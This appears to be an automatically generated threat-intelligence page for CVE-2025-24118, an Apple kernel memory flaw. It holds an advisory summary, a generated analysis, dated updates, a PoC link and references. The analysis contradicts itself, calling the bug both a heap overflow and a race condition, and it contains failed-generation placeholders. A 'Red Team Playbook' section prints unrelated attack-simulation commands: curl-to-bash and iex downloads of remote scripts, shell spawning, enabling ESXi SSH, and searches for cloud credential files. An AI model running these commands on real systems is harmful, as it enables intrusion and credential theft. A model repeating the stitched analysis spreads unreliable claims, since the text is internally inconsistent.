CVE-2025-24118
Overview
This vulnerability is a heap-based buffer overflow (CWE-787) resulting from improper memory handling in the kernel memory management subsystem of Apple iPadOS and macOS. The flaw arises when an application supplies crafted input that triggers out-of-bounds writes during kernel memory operations. The affected components include the kernel's memory allocator and associated system call interfaces responsible for managing memory buffers.
Vulnerability Description
The issue was addressed with improved memory handling. This issue is fixed in iPadOS 17.7.4, macOS Sequoia 15.3, macOS Sonoma 14.7.3. An app may be able to cause unexpected system termination or write kernel memory.
Impact
An attacker with the ability to run a local application on the affected device can exploit this vulnerability to cause unexpected system termination or execute arbitrary code within the kernel context. This leads to full system compromise, including unauthorized access to sensitive kernel memory and potential persistence. No authentication or user interaction is required, enabling exploitation by any app installed on the device. The resulting impact includes denial of service and elevation of privileges to kernel level, severely compromising device integrity and confidentiality.
Solution
Apple addressed this vulnerability by releasing security updates in iPadOS 17.7.4, macOS Sequoia 15.3, and macOS Sonoma 14.7.3. Users and administrators should apply these updates promptly to mitigate the risk. Detailed patch instructions and advisory information are available at Apple's official support pages: https://support.apple.com/en-us/122067, https://support.apple.com/en-us/122068, and https://support.apple.com/en-us/122069.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in question involves a critical flaw in memory handling within certain versions of iPadOS and macOS. This issue allows an application to potentially manipulate memory in a way that could lead to unexpected system terminations or unauthorized access to kernel memory. The kernel, being the core component of the operating system, manages system resources and facilitates communication between hardware and software. When an application can write to kernel memory, it poses a severe risk, as it can lead to arbitrary code execution, privilege escalation, and complete system compromise. The flaw underscores the importance of robust memory management practices in operating system design, particularly in environments where user applications interact closely with system-level processes.
Attack vectors for this vulnerability are varied, with the most straightforward being the exploitation of malicious applications. An attacker could craft an application that, once installed on a vulnerable device, takes advantage of the memory handling flaw to execute arbitrary code with elevated privileges. This could be achieved through social engineering tactics, such as tricking users into downloading and installing the malicious application. Additionally, attackers could leverage existing vulnerabilities in third-party applications to gain initial access, subsequently using the memory handling flaw to escalate their privileges and gain control over the system. The potential for remote exploitation also exists, particularly if the attacker can manipulate network services or other components that interact with the affected operating systems.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple devices for their operations. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. Organizations that handle confidential information, such as personal data, financial records, or intellectual property, are particularly at risk. The fallout from a breach could include reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses a critical threat, necessitating immediate attention from IT security teams.
Detection and mitigation strategies are essential to safeguard against this vulnerability. Organizations should prioritize the deployment of security updates provided by Apple, as these updates address the memory handling issue and reduce the risk of exploitation. Regular patch management processes should be established to ensure that all devices are running the latest versions of iPadOS and macOS. Additionally, implementing application whitelisting can help prevent the execution of unauthorized applications, thereby reducing the attack surface. Intrusion detection systems (IDS) and endpoint protection solutions should be configured to monitor for unusual behavior indicative of exploitation attempts, such as unexpected system crashes or unauthorized access to kernel memory.
In conclusion, the memory handling vulnerability in iPadOS and macOS represents a critical risk that could have far-reaching implications for both individual users and organizations. The ability for an application to write to kernel memory opens the door to severe exploitation scenarios, making it imperative for users and businesses alike to remain vigilant. By adopting proactive detection and mitigation strategies, organizations can better protect their systems and data from potential threats, ensuring a more secure operational environment.
CSURFACE threat intelligence has identified a significant shift in the exploitation landscape for CVE-2025-24118, marked by the emergence of publicly available proof-of-concept exploit code targeting the XNU kernel race condition. This development has elevated the CVSS score to a critical 9.8 and introduced a substantial EPSS score, indicating a heightened likelihood of exploitation in the wild. Our telemetry reveals a marked escalation in exploit attempts leveraging this vulnerability, underscoring an increased risk to affected Apple iPadOS and macOS systems. The availability of exploit code on a prominent public repository lowers the barrier for threat actors, potentially accelerating weaponization and broadening the attacker base beyond highly skilled adversaries. This shift necessitates heightened vigilance as the vulnerability now presents a more immediate and tangible threat, with the potential for widespread impact through kernel memory corruption and system instability. Consequently, the overall threat level for this vulnerability has intensified, reflecting a transition from theoretical risk to active exploitation, thereby demanding prioritized attention within defensive postures.
Update 2 — July 25, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-24118, accompanied by the emergence of new proof-of-concept exploits publicly available on prominent code-sharing platforms. This development lowers the technical barrier for adversaries, enabling a broader range of threat actors to weaponize the vulnerability more rapidly. Our telemetry indicates a sustained increase in detection activity, reflecting growing attacker interest and potential operationalization beyond controlled research environments. Although the EPSS score remains relatively stable, the qualitative surge in exploitation attempts signals an elevated risk of widespread impact, particularly given the vulnerability’s critical severity and its capacity to cause kernel memory corruption and system instability. This shift underscores a transition from theoretical risk to active exploitation, necessitating heightened situational awareness and prioritization within defensive strategies to address the increasing immediacy and accessibility of this threat.
Update 3 — August 16, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2025-24118, reflected by a significant uptick in detection activity across our telemetry. This increase coincides with the emergence of new proof-of-concept exploits publicly available on GitHub, which have garnered attention within the security research community and potentially lowered the barrier for threat actors to operationalize attacks. Although the EPSS score has only marginally increased and remains stable in the near term, the qualitative surge in exploit attempts signals a shift toward more active and widespread exploitation efforts. This development elevates the threat level by increasing the likelihood of successful attacks that could lead to kernel memory corruption and system instability on vulnerable Apple devices. Defenders should recognize this trend as an indicator of growing adversary interest and capability, underscoring the urgency for enhanced monitoring and prioritization of mitigation efforts within affected environments.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jprx/CVE-2025-24118
An XNU kernel race condition bug
|
jprx | 50 | 5 | 2025-01-30 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-24118 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122067 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122068 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122069 |
| seclists.org |
NVD API
|
http://seclists.org/fulldisclosure/2025/Jan/14 |
| seclists.org |
NVD API
|
http://seclists.org/fulldisclosure/2025/Jan/15 |
| seclists.org |
NVD API
|
http://seclists.org/fulldisclosure/2025/Jan/16 |